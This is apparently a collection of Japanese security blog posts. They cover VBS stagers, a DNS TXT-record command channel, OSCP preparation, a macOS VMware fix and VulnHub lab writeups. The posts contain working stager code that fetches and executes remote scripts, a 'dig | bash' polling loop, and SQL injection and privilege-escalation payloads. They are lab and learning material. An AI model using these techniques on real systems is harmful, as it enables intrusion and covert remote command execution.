VBSマルウェア(Stager)のだいぶ細かい話 - VBEの場合の細かくないver
以前の記事(VBSマルウェア(Stager)のだいぶ細かい話)について「vbeにエンコードされてたらどうなるんですか先輩!」とゴーストが囁いたので確認した
参考記事
VBSファイル
- http_exec.vbs
- 前と同じ
VBEファイル
動作確認
jquery.jsの中身
Wscript.echo CreateObject("WScript.Network").ComputerName
実行
そのときのメモリ
Process Hacker > cscript > "Memory" tab > Strings, length: 5 > Filter, Contains, localhost
展開されてた
以上
vbscript/one liner shell + dnsmasqでtxtレコード使ってコマンド実行とかして遊んだ話
VBScriptで遊んでみたpart X。shell(For linux, macOS)で同じことをもっと楽にできそうだったのでついでに試した。
TL;DR
- DNSマルウェア関連の話で出てくるHeartbeetリクエストで怪しいドメイン(サブドメイン部分)に対してクエリ投げてるってとこ、コマンド実行だけだったら別に怪しいドメインに対するリクエストは必要ないよね(前提part)
- 作るだけなら結構簡単。dnsログもテキストに残るからbeacon管理も紹介記事に出てくるHeartbeetの例みたく、怪しいサブドメインひっさげてクエリ投げなくてもlog parseでいけそう(構築・実験part)
- 単にコマンド実行のためだけの代物が入り込んでる場合、情報が「実験」内でのクエリ(_acme.example.com, _acme.example.co.jpへのtxtレコード取得)みたいのだけだと発見はしんどそう、コマンド実行回数と送信先のチェック組み合わせだとか、検知の仕組みはちょっと考えないといけない気がする(所感part)
- For CTFerな小ネタかもしれない
前提
- マルウェアがHTTPやDNSを使って外部とやりとりしようとする話があって
- 怪しいドメインにクエリを送るってのは何かしらの情報を送信していると考えられるわけだけど
- beacon idとか
- 端末上の情報とか
- ネットワーク内の情報とか
- その他諸々
- そもそも端末上でのコード実行だけを考えるなら外部から実行コードのデータを取得すればいいんだから、↑みたいな情報送る必要なくね?
- って思ったので、とりあえずコード実行を試しつつ対策とか考えてみた
構築
- 環境(dnsmasqをkaliに入れて設定するだけ)
- Install and start dnsmasq
# ifconfig eth0 | grep "inet " inet 192.168.24.55 netmask 255.255.255.0 broadcast 192.168.24.255 # apt install dnsmasq Reading package lists... Done (snip) # mv /etc/dnsmasq.conf /etc/dnsmasq.conf.default # backup # echo << EOC > /etc/dnsmasq.conf address=/.example.com/192.168.24.55 log-facility=/var/log/dnsmasq.log log-queries txt-record=_acme.example.co.jp,"Wscript.echo paylaodDomain" # For Windows txt-record=_acme.example.com,"id;uname -a;echo $SHELL" # For Kali, macOS EOC # dnsmasq --test dnsmasq: syntax check OK. # systemctl start dnsmasq # netstat -anu | grep 53 udp 0 0 0.0.0.0:53 0.0.0.0:* udp6 0 0 :::53 :::* # dig -t txt _acme.example.com @localhost | grep -i txt ; <<>> DiG 9.16.4-Debian <<>> -t txt _acme.example.com @localhost ;_acme.example.com. IN TXT _acme.example.com. 0 IN TXT "id;uname -a;echo /bin/bash"
実験(遊ぶ)
Victim 1(Windows)
Function DnsCommunicator(mode, host) Dim sh : Set sh = CreateObject("WScript.Shell") Dim cmd : cmd = "%comspec% /c nslookup -q=" & mode & " " & host Dim cmdResult : Set cmdResult = sh.exec(cmd) Dim str : str = "" Select Case mode Case "txt" Do While Not cmdResult.StdOut.AtEndOfStream str = str & cmdResult.StdOut.Readline() & vbCrLf ' ここもっといい書き方ありそう Loop Dim regEx : Set regEx = New RegExp regEx.Pattern = Chr(34) & "(((\\\\" & Chr(34) & ")|[^" & Chr(34) & "])*)" & Chr(34) regEx.IgnoreCase = True regEx.Global = True Dim Matches : Set Matches = regEx.Execute(str) instruction = Replace(Matches(0), """", "") ' ここの(0)は決め打ちでいいのか疑問 Case "a" ''''''''''''' ' TBD ''''''''''''' tmp = "" Do While Not cmdResult.StdOut.AtEndOfStream ' ここももっといい書き方ありそう tmp = cmdResult.StdOut.Readline() If InStr(tmp, "Address") Then str = str & tmp & vbCrLf End If Loop Instruction = str End Select DnsCommunicator = instruction Set sh = Nothing End Function paylaodDomain = "_acme.example.co.jp" nameSrvDomain = "192.168.24.55" ' 実際にはつけないだろうなぁ mode = "txt" sleeptime = 3 * 1000 Do res = DnsCommunicator(mode, paylaodDomain & " " & nameSrvDomain) Wscript.echo res Execute res Wscript.sleep(sleeptime) Loop
- 試す
> cscript dns_exec.vbs Microsoft (R) Windows Script Host Version 5.812 Copyright (C) Microsoft Corporation. All rights reserved. Wscript.echo paylaodDomain _acme.example.com ^C
Victim 2(kali)
# dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash uid=0(root) gid=0(root) groups=0(root) Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux /bin/bash # while true; do echo "----"; date; echo "----"; dig -t txt _acme.example.com @localhost | grep \" | awk -F\" '{print $2}' | bash; sleep 10; done ---- Fri 28 Aug 2020 06:00:59 PM JST ---- uid=0(root) gid=0(root) groups=0(root) Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux /bin/bash ---- (snip) ---- Fri 28 Aug 2020 06:01:39 PM JST # <---- txtの中身をwhoamiにしてsystemctl restart dnsmasq ---- root (snip)
Victim 3(macOS)
% dig -t txt _acme.example.com @192.168.24.55 | grep \" | awk -F\" '{print $2}' | bash uid=501(nknskn) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) Darwin nknskn-MacBook-Pro-2020.local 19.6.0 Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64 x86_64 /usr/local/bin/zsh % # 以降、kaliでやった場合と似た感じになるので省略
dnsmasq log
# less /var/log/dnsmasq.log Aug 28 18:31:51 dnsmasq[3791]: reading /etc/resolv.conf Aug 28 18:31:51 dnsmasq[3791]: using nameserver 192.168.24.1#53 Aug 28 18:31:51 dnsmasq[3791]: read /etc/hosts - 10 addresses Aug 28 18:32:47 dnsmasq[3791]: query[TXT] _acme.example.com from ::1 Aug 28 18:32:47 dnsmasq[3791]: config _acme.example.com is <TXT> Aug 28 18:33:05 dnsmasq[3791]: query[TXT] _acme.example.co.jp from ::1 Aug 28 18:33:05 dnsmasq[3791]: config _acme.example.co.jp is <TXT> Aug 28 18:34:36 dnsmasq[3791]: query[TXT] _acme.example.co.jp from 192.168.24.54 Aug 28 18:34:36 dnsmasq[3791]: config _acme.example.co.jp is <TXT>
所感とか
- 上のようなvbscript(wsh)だったりshellscriptだったりがpersistenceされていたら、とりあえずDNSを疑いたい
- しかしDNSのクエリログはともかく、レスポンスまで保存してる企業なんてあるのか?無理だろ
- DNS使って命令送りこみつつ、HTTPで出てくる口を探すとかやってるグループあったりすんのかな。めっちゃ時間かかりそうだけど
- この手のがInitial accessに使われてたりすると通信ログだけから「感染している端末があるかどうか」を見つけるのは大変そう、というかほぼ無理な気がする(自分でできる気はしない)
- 取得したデータのdecode箇所の実装を頑張れば、Aレコードとか他のレコードに対するクエリを使って命令の取得ができそう
- vbscriptのコードをマクロに仕込んで送付される可能性はあるのか?という疑問に関しては「送る分には可能だけど、検知されるかどうかというとこで条件あり」とだけ
- 完全に防ぐのはしんどい気がする、初弾のあとで、攻撃者ができないことを増やしていく方が現実的な気はする
- ユーザの操作性を奪わない程度にやらないといけないと考えると、バランス難しい
以上
VBSマルウェア(Stager)のだいぶ細かい話
VBSマルウェア(stager)のメモリを見てみたよ、という話。経緯に前提とモチベーションを書いてるので長くなってる。飛ばしてもいいと思うけどもあとで「こいつなんでそもそもこんなことやってるんだろう」と思うかもしれない。
経緯
Feb, 2020に開催されたssmjpでこんな話(RedTeamerがRedTeamOpsを受けてみた)をさせていただく機会に恵まれておりまして、まあ実際には話す前に公開されたブログBlack Hat USA 2019 / DEF CON 27に参加してきました -Black Hat編- : NTT Com Haruka Hoshinoが良い感じの内容で、この記事を読んでもらえればざっくりした内容は伝わると判断しました。なので、トレーニングの内容はだいぶ端折ってトレーニングに関連するネタとかAVと戦ってる話とか自作ツールの話をしてたんですが、まあその中でVBS stagerの話をしてました。
どんなStagerかというと具体的には以下
簡単にまとめるとこんな感じ
- WSHには文字列をスクリプトとして解釈して実行する関数(Execute, ExecuteGlobal)がある
- JavaScriptで言うeval相当
- このブログで報告されたマルウェアは「実行したいスクリプトを適宜指定のURLから取得し、Execute関数を利用してそのスクリプトを実行する」という機能があった
- 解析したときにはもうサーバ上にはマルウェアが実行したであろうスクリプトは存在しなかった(正確には名前解決ができないレベルで片づけ済みだった)ので何されたかよくわからん
で、ssmjpの中で(あと以前書いたブログで)、実際にそんな感じのvbscriptを書いて遊んでみたら以下のような気付きがあった、という話をしました。
で、いくつかの課題のうちこんなのを上げてました
- Executeってどんな感じで動く? ⇒メモリ上で文字列をソースとして再定義してる感じっぽく見える
- そもそもVBScriptってどう動いてる?⇒追い切れてない、プロセス解析しなきゃ
- (ry
というわけで、この記事はダウンローダ(手元ではstagerに改良済み)がメモリ上でどんな感じに「ダウンロードしたスクリプトを展開しているのか」という話です。
スクリプト例
シンプルに。汚いとか見づらいと思う方は適当にリファクタリングして遊んでください。 こんな感じのスクリプトだと5秒ごとにlocalhostにアクセスしにくるStagerになります。
On Error Resume Next ' Decode response Function byte2str(bytes) Dim oNode Set oNode = CreateObject("System.Text.UTF8Encoding") byte2str = oNode.GetString((bytes)) Set oNode = Nothing End Function ' Called by "response" Function Test1() Wscript.echo "Alert!" End Function Dim obj, response, url, domain, uri, sleeptime Set obj = CreateObject("MSXML2.ServerXMLHTTP.6.0") domain = "localhost" uri = "/jquery.js" sleeptime = 5000 obj.setTimeouts 3000, 3000, 3000, 3000 obj.setOption 2, 13056 Do response = "" url = "http://" & domain & uri obj.Open "GET", url, False obj.Send response = byte2str(obj.responseBody) Execute(response) WScript.Sleep(sleeptime) Loop
普通に実行したときのメモリ
Process Hackerで見てみる。cscript.exeで実行した場合はcscript.exeのプロセスを見ること。流れは以下
- プロセスのプロパティを開く(Enterが楽)
- Memoryを開く、探すのめんどくさいんでコードが展開されてるメモリを見つける、「Strings...」
- 怪しいやつを見る場合、"Resume"で引っかける方針でいくといい気がする. こいつは隠しようがない文字列なので。というわけでMininumは6にして検索
- FilterでResume、こうすると以下の画像のような感じになるはず
良い感じにメモリに展開されたコードが出てきた。それじゃ通信先についても見ておく。
&で連結されているURLが、IServerXMLHTTPRequestにそのまんま入ってきていることがわかる。
変数を上書きした場合
それじゃ試しに変数domainの値をatatatatatattacker(千葉繁風)に変えてみる。
具体的にはjquery.jsファイル内に以下を書く. 事前にhostsに127.0.0.1 atatatatatattacker
を突っ込んでおくこと。
domain = "atatatatatattacker"
メモリ
まあこんな感じでメモリ上で変数が再定義されて、atatatatatattackerがIServerXMLHTTPRequestに入ってきている。というわけでメモリ上で文字列をソースとして再定義してる感じっぽく見える
っていうのは当たってそうだった。
じゃあ関数を再定義したらどうなんの?ってところ。
Function Test1を上書きした場合
まずは上書き前
たぶんOn Errorが入っているのは最初に読み込んだコードだと思われるので他の2か所を見てみる。
上の方
下の方
関数名でデータ持ってるなら前後のメモリに関数のアドレスがあってもおかしくはない気がしたが、よくわからなかった。やっぱWindowsわからない。
とりあえず以下みたいな感じでjquery.jsに書いて、ホスト名を出してみる
Function Test1() Wscript.echo CreateObject("WScript.Network").ComputerName End Function Call Test1
まあ出てくる
そんじゃこの時のメモリはどうなってるかというと
おお、jquery.jsで定義した関数が新しくメモリに載ってきてる。
どうやってそっちを呼ぶようになったのかはまた次回(やる気になったら。ならない気がする)
まとめ
まあこんな感じでVBS(WSH) downloader/Stagerはメモリ上に変数値だったり関数だったりを再定義して、そいつを実行していく感じにできるという話でした。
wshが動いてるときのメモリさえ手に入れば、動的に定義された関数はメモリフォレンジックで見つけることはできるかもしれない(超サイヤ人的な人だけかもしれんけど)。
以上
OSCPに合格できたので所感とか個人的にやったこととか書いとく
極力長くならない程度で要点(以下の3点)と私のパターンを書いとく
- Preparation
- Exam
- Reporting
Penetration Testingの仕事をする場合にもなにかが効いてくるかもしれない. 知らんけど
スキル
- 診断員, RedTeamerのアラサー
- Web診断がメイン, バイナリはiOSで見る程度, マルウェア解析は遠い昔にやったことがある
- Web/NW/iOS/Android/メール訓練の診断提供側はなんとなくわかる
- 2年ぐらい前に初めてNW診断にちゃんと触れた, 同時にペネトレも勉強し始めた
- RedTeam関連はVBA/VBSを使ってAV/EDRと戦ってることが多い
- 英語スキルは読み書き聞きならなんとなく, べしゃり暮らせない
Preparation
2ヶ月ぐらいで以下をやった
Penetration
VulnHub
Penetration Testingの入り, アイデア補填として良コンテンツ, Lab/Exam攻略を考えると物足りない. 「ペネトレって具体的にどうやっていけばいいのかわからん」「PenetrationTestingやってたけどちょっと間が空いちゃった」みたいなシチュエーションで感覚を掴む/取り戻すのに有用かも. 4,5台やった.
HackTheBox
Exam対策と考えると良環境, easy-mediumがなんなく解けてLogging & ReportingのトレーニングをしておくとExamに直接効く. medium以上はExamの一番難しいmachine向けにいいのかもしれない. わたしはeasy-mediumを3,4台, difficult以上はやってない.
Lab
良環境だがExamで出ないタイプがある, 知見増と検証を目的と考えれば使わない手はない. 20台ぐらいしか触れなかった. もうちょい触りたい
Reporting
- High-level report, key findings - recommendation matrix, Detailsのテンプレを用意
- Detailsに関してはFindings name, Description, Recommendation, logs, Walkthroughの枠とテンプレを各マシン分用意
- 外資の診断チームにいるのでEnglish reportを参考にしまくった
- 各種画像, Findingsに対応したRecommendations, Referencesの3つを載せればほぼ完成, という程度を目指して用意した(Reporting時はどうせ疲れて頭が働かないと予想)
Attacking Methodology
- Local WikiにInitial attack vector/Priv Esc/Reverse shell/Persistenceの枠を作って、コマンド/ログレベルでメモしまくった. イメージはMITRE ATT&CKの詳細版
- VulnHub/HackTheBoxのWriteupを読み漁った. 手法, コマンドを参照するのではなく, 調査方針等自分にない観点を漁る目的
- Attacking flowを思いつく限り用意. smb mount > download ssh key > ssh login > (goto priv esc section), traversal/lfi config file > Web admin > login > edit php(add reverse shell) > (goto priv esc section)とかとか. 観点漏れを防ぐ目的
直前の1週間
- ほぼ艦これのイベントやってた. 今回の規模どうかしてる(All甲, 第4マップまで攻略情報参照禁止縛り, この記事書いてる時は最終海域最後のボスに挑戦中)
- 前日にBoFのおさらいとReportingの練習&テンプレの更新
- 緊張して疲れるのが一番まずいのでリラックスして挑むことを心がけた. 艦これイベントのおかげで精神にキた
Exam
- 事前に目標のタイムテーブルを作成した. 以下みたいな感じ
- AM 1時開始、5時までに3台(10pt, 20 pt, BoF)の攻略&ログ取得, Reportへのざっくりな記載まで終えた, 気分転換目的でジョギングしてシャワー浴びて30分ぐらい横になった. ここではアドレナリンドバドバであまり寝れなかった(失敗)
- 6 AM, 残り 20 pt 一台と25 pt 一台でまったり気楽にやった. 20 ptをざっとみたもののInitial accessで使えそうなものがなかったのでもう一回AutoReconをかけたら, 初回での検出漏れっぽいPortが出てきた.
- 8 AM, 出てきたPortをみてみたらHackTheBoxでやったパターンと同じやつだった(??「ゼミでやったところだ!」). その後local.txtはすぐ取れたもののPriv escでハマったので3時間ぐらい寝た. 睡眠リラックス大事.
- 11 AM, 起床後にもう一回シャワー浴びて目覚ましがてら 25pt をやった. AutoReconの結果がイミフすぎてもう一回スキャンし始める.
- 0 PM, 20 ptでPriv Escに使えそうなやつを見つけたのでいろいろ試し始める
- 3 PM, Priv esc - Attacking flowの3,4番目に試したやつで管理者権限をとる. ここで合計 75pt をGet(残り10時間). Reportingを始めてログの再取得等に時間を使う
- 5 PM, 25ptに再度向き合う, 相変わらずイミフだった&頭が働いてなかったので不貞寝(7 PM), 起きたら11 PMだった(残り2時間足らず)
- 11 PM -, あくびしながらいろいろ考えてみたものの進まずそのまま終了. 今考えるとJavaでHttpヘッダになんか突っ込む系だったかもしれない
Reporting
- Exam中にちょこちょこやってたので2 AMぐらいまで少し手直しして, その後就寝
- 11 AMに起きる, Reporting再開
- 2 PM, 90%完成までいった. その後散髪やら買い物やらジョギングしに出かけたりしてリフレッシュ
- 5 PM, Review&艦これ(この辺から酒飲みながらやってた)&Reviewやって提出, 最終的に9 PMにアップロードした
- Codeとかも全部載せ, 4 machinesの完全攻略と「誰でも攻撃の意図を理解し, 再現できること」を目標としたレポートの構成にした結果, 70 pagesちょうどまでいった. 全クリしてたら 100 pagesいってたかもしれない.
- このボタンを押す, このコマンドでこれを手に入れる, この情報はこれに役立つ, ○○を目指して××から行うなどなど, ExploitだけでなくExploitに使う情報の取得, 出力, その意図とかもだいたい書いた, おかげで時間かかってた
所感
- 結局、準備(特にReport)とggr力と運だと思う. 「ゼミで(ry」は運としか言えない. 事前にHackTheBoxとかにたくさんチャレンジしておけば本番でぶち当たる確率を上げることはできるかもしれない
- Max 75ptで合格できたという点からReportingはほぼ減点なしだったんだと思う. 誰でも攻撃の意図を理解でき, かつ再現できるレベルを目指して手順を残すといいのかもしれない
- 報告書の構成もUSのものに沿って作成していたのでそれが採点者に刺さった可能性も
以上, Happy hacking
Macbookの移行でVMware Fusionの仮想マシンが動かなくなった話
新しいMacbook Proが届いたのでテンション高めに移行して、アプリの起動確認をしていたときに遭遇. Fusionは起動するもののVM起動時に以下のようなメッセージのダイアログが出て起動中止に陥る.
cannot open /dev/vmmon. (snip) make sure load ... (snip)
ざっと調べてみたところ, kextのload時にエラーが起きていた. 調査方法はこのブログを参考にした. ありがたや
blog link : Vmware Kext | @sskaje
以下調査時のコマンドログ(一部抜粋)
% sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start Installing files from /Library/Preferences/VMware Fusion/thnuclnt mkdir: /etc/thnuclnt: File exists Copying .thnumod to /etc/thnuclnt Copying thnuclnt.conf to /etc/thnuclnt Copying thnuclnt.convs to /private/etc/cups Copying thnuclnt.types to /private/etc/cups Copying thnucups to /usr/libexec/cups/filter Restarting printing services No matching processes were found /Applications/VMware Fusion.app/Contents/Library/kexts/vmmon.kext failed to load - System policy prevents loading the kernel extension.
System policy preventsらしい. このへんで調べてみたらKarabinerのissueで似たようなのがあった. 止めているのはmacOSのSecure Kernel Extension Loadingって機能で, 手っ取り早い解決方法は
- System Preferences > Security & Privacy > Privacy > Accessbility でVMware Fusionにチェック
- System Preferences > Security & Privacy > General で VMware Inc. を Allow
することらしい. 私の場合は「チェック入れてる」「Allowボタン出てこんぞ」という, もうちょいめんどい状況だった. というわけで別の解決方法探しの旅に出る.
さて, どうやって探したもんか, というところで以下の 2 点を考えた.
- 上記のカーネル拡張ファイルのロードエラーは, 許可された開発者 or アプリのものでないextを読み込もうとしたから発生している
- Allow ボタンで開発者 or アプリの識別子をどっかのplistに除外対象として登録している(はず)
というわけでマニュアルで解決するなら「(開発者 or アプリの)識別子登録ボタンに対応するコマンドを打ち込む」もしくは「Kernel拡張の読み込み許可リストに識別子を直接書き込む」なので, 適当にmac kernel extension approval
とかそんな感じの英語でググった. 結果, MITのknowledge baseがヒットした
Troubleshootingのところを試してみる
- Startup the Mac in recovery mode.
- Click the Utilities menu and select Terminal.
- Enter the following command:
- /usr/sbin/spctl kext-consent add TEAMID
- Press Enter
- e.g. for Sophos the command would be: /usr/sbin/spctl kext-consent add 2H5GFH3774
- Close the Terminal app and restart
今回はVMwareなのでもうちょっと下にあるVMwareのTeam ID(EG7KH642X6)を打ち込んだ. ここは鵜呑みにするんじゃなくて念のためVMware Fusionのplistを確認しとけばよかったと思った(小並感).
Recovery modeで上記のコマンドを入力後, VMware Fusionを再起動して無事解決.
この件で2時間近くも使ってしまった. 移行でハマるとほんとしんどい.
Kioptrix Level 1.3 #4 Writeup
引き続きVulnHub writeup
Target
- Kioptrix: Level 1.3 (#4) ~ VulnHub
- Import > VMware FusionでHDD以外をubuntuとしてセットアップし、起動前にunrarしたvmdkファイルを指定
Summay
- SQL injection against login request
- bypass authentication on 80/tcp and can see user's password
- can login on ssh with the identified password
- bypass restricted shell with spawning tty
- can access to mysqld as root without password
- chmod u+s /bin/bash
- got root with
/bin/bash
andbash -p
Log
Identify the host address
- arp-scan,
arp-scan 192.168.0.0/24
Recon
- AutoRecon
/opt/AutoRecon/autorecon.py 192.168.0.101
# tree ./result/ (snip) ├── tcp_139_smb_nmap.txt ├── tcp_22_ssh_nmap.txt ├── tcp_445_smb_nmap.txt ├── tcp_80_http_gobuster.txt ├── tcp_80_http_index.html ├── tcp_80_http_nikto.txt ├── tcp_80_http_nmap.txt ├── tcp_80_http_robots.txt ├── tcp_80_http_screenshot.png ├── tcp_80_http_whatweb.txt ├── _top_20_udp_nmap.txt ├── udp_137_smb_nmap.txt (snip)
tcp:22, 80, 139, 445からなんとか情報を引き出す. 流れとしてユーザ特定→パスワード取得→ssh loginを想定. ダメだったらまた別の流れを考える.
- Check the log files
# less ./results/192.168.0.101/scans/enum4linux.txt (snip) User Name : john Full Name : ,,, Home Drive : \\kioptrix4\john Dir Drive : Profile Path: \\kioptrix4\john\profile (snip) User Name : loneferret Full Name : loneferret,,, Home Drive : \\kioptrix4\loneferret Dir Drive : Profile Path: \\kioptrix4\loneferret\profile (snip)
john, loneferret, robert, nobody, rootユーザがシステム上に存在することを確認、あとでsshで使いそう、忘れないようにしておく
# less ./results/192.168.0.101/scans/tcp_80_http_gobuster.txt (snip) /index (Status: 200) [Size: 1255] /index.php (Status: 200) [Size: 1255] /index.php (Status: 200) [Size: 1255] /john (Status: 301) [Size: 352] /logout (Status: 302) [Size: 0] /logout.php (Status: 302) [Size: 0] /member (Status: 302) [Size: 220] /member.php (Status: 302) [Size: 220] (snip)
index, john, logout, memberがコンテンツとしてありそう、コンテンツはシステムユーザと連動か?
その他、バージョン等を確認したもののremote commandを実行可能なものはすぐには発見できず、いったんWebをみる
- Web access
LigGoat secure Login Copyright (c) 2013
でなんか出てきそう→Googleで見たがWriteupぐらいだった、他も特になし。コンテンツも見当たらないのでログインリクエストを使って様子を見てみる.
- 簡易チェック
- test:test, john:test, loneferret:testなどでレスポンスに差があるか確認、
Wrong Username or Password
のみだったので差の確認はできず、ユーザの存在判定には使えなさそう member
へのアクセスが302だったのでログイン後の遷移可能なところに存在する(セッションIDが発行されてない状態でアクセスして302, ログイン画面が存在)と判断、とりあえずヘッダになんか出てないか確認- さらっと見た感じはなにもなかった
- test:test, john:test, loneferret:testなどでレスポンスに差があるか確認、
- SQLチェック
とりあえず1'and 1=1
を両方に突っ込んで送信
SQLの組み立てに問題がありそう. Username, Password片方ずつに↑の値を入れたらPasswordの方で画像と同じエラーが出た. Passwordの方になんかありそう
- Auth bypass with SQL Injection
以下のリクエストをlogin
に保存. sqlmapを使う
POST /checklogin.php HTTP/1.1 Host: 192.168.0.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101/ Content-Type: application/x-www-form-urlencoded Content-Length: 44 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 myusername=test&mypassword=test*&Submit=Login
sqlmap with burp
# sqlmap -r login --level 5 --risk 3 --proxy=http://localhost:8080 (snip) [hh:mm:ss] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') got a 302 redirect to 'http://192.168.0.101:80/login_success.php?username=test'. Do you want to follow? [Y/n] (snip)
なんかでた。burpのログを確認、該当のリクエストは以下。
POST /checklogin.php HTTP/1.1 Content-Length: 114 Host: 192.168.0.101 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.101/ Content-Type: application/x-www-form-urlencoded DNT: 1 Upgrade-Insecure-Requests: 1 Connection: close myusername=test&mypassword=test%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%20FROM%20DUAL--%20bTVa&Submit=Login
Login bypassのペイロードはtest' UNION ALL SELECT NULL,NULL,NULL FROM DUAL-- vpGT
を使用する(あとで確認したら1'or 1=1#
でもいけた. 仕事でなければ次回は手動でもこれ突っ込んでみるか)
gobusterの結果からjohnがユーザにいそう、というわけでusernameにjohnを指定してbypassしてみる
パスワードが出てきた. ユーザ名がシステム上に存在するユーザjohnと一致してるのでsshも試してみる
SSH login and Privilege Escalation
得られたパスワードを使ってsshしてみた
入った. なんのコマンドが使えるのか確認する.
john:~$ ls john:~$ sudo -l *** forbidden sudo -> sudo -l john:~$ id *** unknown command: id john:~$ uname *** unknown command: uname john:~$ /bin/bash *** unknown command: /bin/bash john:~$ ls / *** forbidden path -> "/" *** You have 0 warning(s) left, before getting kicked out. This incident has been reported. john:~$ pwd *** unknown command: pwd
なんもできなさそうな気がする. とりあえずhelp
を叩く
john:~$ help cd clear echo exit help ll lpath ls john:~$
なんだこれは. たまげたなぁ. とりあえずshell restricted priv esc
とかでぐぐる. 以下のページが出てきた.
https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
エラーの出方がlshell
と一致してる. lshellがなにかググる
https://github.com/ghantoos/lshell
lshell is a shell coded in Python
らしい. ttyをspawnする方法の中で打てるコマンド&pythonを使う方法を確認, echo os.system('/bin/bash')
が使えるかも
john:~$ echo os.system('/bin/bash') john@Kioptrix4:~$ ls john@Kioptrix4:~$ ls / bin boot cdrom dev etc home initrd initrd.img lib lost+found media mnt opt proc root sbin srv sys tmp usr var vmlinuz
動いた. あとは普通にshellを叩く感じで権限昇格に使えそうなものを漁る. ひとまずLinEnum.sh
を使う. LinEnumのダウンロードがなぜかwgetでできなかったので、クリップボード経由でコピーした.
LinEnumコピー
(kali)# cat ./LinEnum.sh | xsel --clipboard --input (kioptrix4)$ vi ./LinEnum :set paste Ctrl+V
LinEnum実行
john@Kioptrix4:~$ chmod +x LinEnum.sh john@Kioptrix4:~$ ./LinEnum.sh (snip) root 4866 0.0 0.0 1772 524 ? S 09:21 0:00 /bin/sh /usr/bin/mysqld_safe root 4908 0.0 1.4 127336 30888 ? Sl 09:21 0:06 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var root 4910 0.0 0.0 1700 560 ? S 09:21 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld (snip) [+] We can connect to the local MYSQL service as 'root' and without a password! mysqladmin Ver 8.41 Distrib 5.0.51a, for debian-linux-gnu on i486 Copyright (C) 2000-2006 MySQL AB This software comes with ABSOLUTELY NO WARRANTY. This is free software, and you are welcome to modify and redistribute it under the GPL license (snip)
rootで動いててパスワードなしで入れるってマジか. mysqlでのos command実行を使って権限昇格を試みる.
john@Kioptrix4:~$ mysql -u root Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 27291 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; ERROR 1125 (HY000): Function 'sys_exec' already exists mysql> select sys_exec('chmod u+s /bin/bash'); +---------------------------------+ | sys_exec('chmod u+s /bin/bash') | +---------------------------------+ | NULL | +---------------------------------+ 1 row in set (0.00 sec) mysql> Bye
確認, やったぜ
お疲れ様でした
ちなみにFile Inclusionもあるってことなので見てみた
bash-3.2$ less /var/www/member.php (snip) $page = $_GET['username']; //$page = preg_replace('/etc/','',$page,1) . ".php"; $page = preg_replace('/etc/','',$page,1); if(file_exists($page)){ $memPage = $page . "/" . $page . ".php"; include($memPage); (snip)
あ、はい. http://192.168.0.101/member.php?username=/etetcc/passwd%00
へアクセス.
あとはreverse shell用のリクエストをログに出させて、/var/log/apache2/access.log
にアクセスとかすればsshがなくてもコマンド叩けるようになる.
あとなにがあるんかな. Ubuntu 8.04.3 LTSだったし掘ればいろいろありそう
Compromized writeup - VulnUni: 1.0.1
さっくりメモがてら
Target
Environment
- Host : Macbook Pro Catalina 10.15.3
- Attack machine : Custumized Kali Linux(主にツール群)
Summary
- arp-scan/netdiscoverでip address特定
- Scan with AutoRecon > オープンポートが80/tcpだけ、良さそうなコンテンツ、脆弱そうなフレームワークはパッと見確認できず
- Web crawl with Burpsuite > リンクされているコンテンツを一通りみたものの、GET/POSTでパラメータが送信される箇所を発見できず、表側のアプリケーションでinjectionはできなさそうだった。Apacheが(たしか)2.2.22とかで古かった。shellshockなどのリモートコマンド実行ができるcgiだとか or まだ発見できてないリンクとかがあると推測
- cgiファイルの調査 > 特に見当たらず。/cgi-bin/は403だったので、あったとしても楽に推測はできなさそうだった
- BurpsuiteのTargetタブ > サイト構成を見直したところアクセスしてないページ(コメントアウトされたリンク)を発見、アクセスしてみたらログイン画面へのリンクが出てきた
- eClassログイン画面 > eClassのバージョン情報がログイン前状態で確認可能だった、調べてみたらログインリクエストにあるパラメータ「uname」にSQL injectionがあるバージョンだった、PoCを確認しつつsqlmapを使ってID/PASSを取得
- 合わせてPoCを確認、Admin Toolsのアップロード機能に「任意のファイルアップロードが可能」な問題があるヤバイやつだった、pentestmonkeyのリバースシェルphpファイルを使ってシェルゲット
- cat /home/vulnuni/flag.txt > 68fc668278d9b0d6c3b9dc100bee181e
- LinEnum.shとlse.sh -l2で設定やプロセスで権限昇格に使えそうなものがないか確認、特になさそうだった
